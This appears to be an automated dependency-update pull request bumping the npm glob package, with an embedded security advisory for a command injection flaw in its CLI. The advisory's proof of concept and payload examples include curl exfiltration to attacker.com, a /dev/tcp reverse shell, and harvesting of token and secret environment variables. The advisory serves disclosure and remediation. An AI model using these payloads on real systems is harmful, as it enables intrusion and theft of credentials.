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chore(deps): update dependency glob to v10 [security]#1605

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chore(deps): update dependency glob to v10 [security]#1605
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renovate/npm-glob-vulnerability

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@renovate renovate bot commented Nov 19, 2025

This PR contains the following updates:

Package Change Age Confidence
glob 7.2.310.5.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v10.5.0

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v10.4.5

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v10.4.4

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v10.4.3

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v10.4.2

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v10.4.1

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v10.4.0

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v10.3.16

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v10.3.15

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v10.3.14

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v10.3.13

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v10.3.12

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v10.3.11

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v10.3.10

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v10.3.9

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v10.3.8

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v10.3.7

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v10.3.6

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v10.3.5

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v10.3.4

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v10.3.3

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v10.3.2

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v10.3.1

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v10.3.0

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v10.2.7

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v10.2.6

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v10.2.5

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v10.2.4

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v10.2.3

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v10.2.2

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v10.2.1

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v10.2.0

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v10.1.0

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v10.0.0

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  • No default exports, only named exports

v9.3.5

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v9.3.4

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v9.3.3

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  • Upgraded minimatch to v8, adding support for any degree of
    nested extglob patterns.

v9.3.2

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v9.3.1

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v9.3.0

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v9.2.1

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v9.2.0

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v9.1.2

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v9.1.1

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v9.1.0

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v8.1.0

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Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

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  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

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codecov bot commented Nov 19, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 91.02%. Comparing base (604a785) to head (dce5900).

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #1605   +/-   ##
=======================================
  Coverage   91.02%   91.02%           
=======================================
  Files         110      110           
  Lines        2350     2350           
  Branches      656      666   +10     
=======================================
  Hits         2139     2139           
+ Misses        206      204    -2     
- Partials        5        7    +2     

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@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch 2 times, most recently from 6a732d9 to a9c714b Compare December 1, 2025 21:48
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